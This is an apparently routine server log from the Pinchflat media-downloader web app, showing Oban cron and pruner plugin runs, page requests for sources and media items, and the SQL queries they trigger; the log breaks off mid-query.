[info] {"source":"oban","duration":1095,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:18:15.393 [info] {"source":"oban","duration":2847,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:18:45.396 [info] {"source":"oban","duration":1172,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:00.572 [info] {"source":"oban","duration":832,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:19:15.399 [info] {"source":"oban","duration":2378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:19:45.403 [info] {"source":"oban","duration":1375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:00.573 [info] {"source":"oban","duration":514,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:20:15.405 [info] {"source":"oban","duration":1781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:20:45.409 [info] {"source":"oban","duration":2285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:00.574 [info] {"source":"oban","duration":545,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:21:15.411 [info] {"source":"oban","duration":1232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:45.413 [info] {"source":"oban","duration":1261,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:00.575 [info] {"source":"oban","duration":556,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:22:15.415 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:22:45.418 [info] {"source":"oban","duration":2306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:00.576 [info] {"source":"oban","duration":773,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:23:15.422 [info] {"source":"oban","duration":3218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:23:45.424 [info] {"source":"oban","duration":1757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:00.578 [info] {"source":"oban","duration":671,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:24:15.426 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:24:24.087 [info] GET /media_profiles 15:24:24.087 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 15:24:24.141 [debug] QUERY OK source="media_profiles" db=53.2ms queue=0.2ms idle=1179.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 15:24:24.474 [debug] QUERY OK source="settings" db=1.3ms queue=0.2ms idle=1563.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:24:24.476 [debug] QUERY OK source="settings" db=0.7ms queue=0.2ms idle=1566.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:24:24.508 [debug] QUERY OK source="settings" db=1.4ms queue=0.2ms idle=1090.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:24:24.595 [info] Sent 200 in 508ms 15:24:45.428 [info] {"source":"oban","duration":1129,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:00.580 [info] {"source":"oban","duration":832,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:25:15.436 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:45.439 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:25:45.514 [info] GET /sources/2/media/28128 15:25:45.514 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "28128", "source_id" => "2"} Pipelines: [:browser] 15:25:45.515 [info] GET /sources/2/media/26533 15:25:45.515 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "26533", "source_id" => "2"} Pipelines: [:browser] 15:25:45.518 [debug] QUERY OK source="media_items" db=3.1ms idle=1597.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [28128] 15:25:45.518 [debug] QUERY OK source="media_items" db=2.9ms idle=601.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [26533] 15:25:45.523 [debug] QUERY OK source="sources" db=3.0ms queue=0.1ms idle=598.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:25:45.523 [debug] QUERY OK source="sources" db=3.5ms idle=80.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:25:45.530 [debug] QUERY OK source="tasks" db=9.7ms queue=0.1ms idle=2.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [26533] 15:25:45.531 [debug] QUERY OK source="tasks" db=10.8ms queue=0.2ms idle=605.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [28128] 15:25:45.536 [debug] QUERY OK source="oban_jobs" db=5.4ms idle=12.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2345] 15:25:45.538 [debug] QUERY OK source="oban_jobs" db=7.2ms idle=8.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2259] 15:25:45.539 [debug] QUERY OK source="settings" db=0.4ms queue=0.4ms idle=14.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:25:45.540 [debug] QUERY OK source="settings" db=1.4ms queue=0.1ms idle=8.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:25:45.542 [debug] QUERY OK source="settings" db=1.8ms queue=0.2ms idle=8.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:25:45.543 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:25:45.545 [debug] QUERY OK source="settings" db=0.8ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:25:45.546 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=5.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:25:45.548 [debug] QUERY OK source="media_profiles" db=1.5ms idle=6.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:25:45.549 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.2ms idle=5.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:25:45.553 [info] Sent 200 in 39ms 15:25:45.554 [info] Sent 200 in 39ms 15:26:00.581 [info] {"source":"oban","duration":515,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:26:15.442 [info] {"source":"oban","duration":2014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:44.504 [info] GET /sources/2 15:26:44.504 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 15:26:44.507 [debug] QUERY OK source="sources" db=1.7ms idle=1591.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:26:44.508 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.3ms idle=1593.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:26:45.141 [debug] QUERY OK source="tasks" db=631.2ms idle=1414.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [2, "executing", "available", "scheduled", "retryable"] 15:26:45.142 [debug] QUERY OK source="oban_jobs" db=1.2ms queue=0.1ms idle=634.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2364] 15:26:45.144 [debug] QUERY OK source="settings" db=0.5ms idle=634.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:26:45.145 [debug] QUERY OK source="settings" db=0.4ms idle=230.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:26:45.146 [debug] QUERY OK source="settings" db=0.6ms idle=5.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:26:45.150 [debug] QUERY OK source="sources" db=0.5ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:26:45.163 [debug] QUERY OK source="media_items" db=12.6ms idle=8.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 15:26:45.445 [info] {"source":"oban","duration":2197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:26:46.179 [debug] QUERY OK source="media_items" db=1015.2ms queue=0.3ms idle=20.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 15:26:46.182 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=1030.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:26:46.183 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=1019.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [2] 15:26:46.225 [debug] QUERY OK source="media_items" db=41.0ms queue=0.4ms idle=738.9ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 15:26:46.228 [debug] QUERY OK source="sources" db=0.3ms idle=47.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:26:46.230 [debug] QUERY OK source="media_items" db=1.1ms idle=46.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [2] 15:26:46.232 [debug] QUERY OK source="media_items" db=1.4ms idle=46.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [2, 10, 0] 15:26:46.234 [info] Sent 200 in 1729ms 15:27:00.582 [info] {"source":"oban","duration":410,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:27:15.447 [info] {"source":"oban","duration":1774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:27:45.450 [info] {"source":"oban","duration":1756,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:00.583 [info] {"source":"oban","duration":566,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:28:15.457 [info] {"source":"oban","duration":3726,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:28:45.461 [info] {"source":"oban","duration":3232,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:00.584 [info] {"source":"oban","duration":509,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:29:15.464 [info] {"source":"oban","duration":1978,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:29:45.467 [info] {"source":"oban","duration":2404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:00.586 [info] {"source":"oban","duration":1393,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:30:15.469 [info] {"source":"oban","duration":1454,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:30:45.471 [info] {"source":"oban","duration":1586,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:00.587 [info] {"source":"oban","duration":807,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:31:15.474 [info] {"source":"oban","duration":2138,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:31:45.476 [info] {"source":"oban","duration":1069,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:00.589 [info] {"source":"oban","duration":388,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:32:15.478 [info] {"source":"oban","duration":1327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:32:23.163 [info] GET /sources/2/media/25733 15:32:23.164 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "25733", "source_id" => "2"} Pipelines: [:browser] 15:32:23.166 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=1246.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [25733] 15:32:23.169 [debug] QUERY OK source="tasks" db=1.8ms queue=0.3ms idle=962.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [25733] 15:32:23.170 [debug] QUERY OK source="sources" db=2.5ms queue=0.5ms idle=249.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:32:23.173 [debug] QUERY OK source="oban_jobs" db=1.0ms queue=0.3ms idle=253.3ms SELECT o0."id", o0."state", o0."queue", 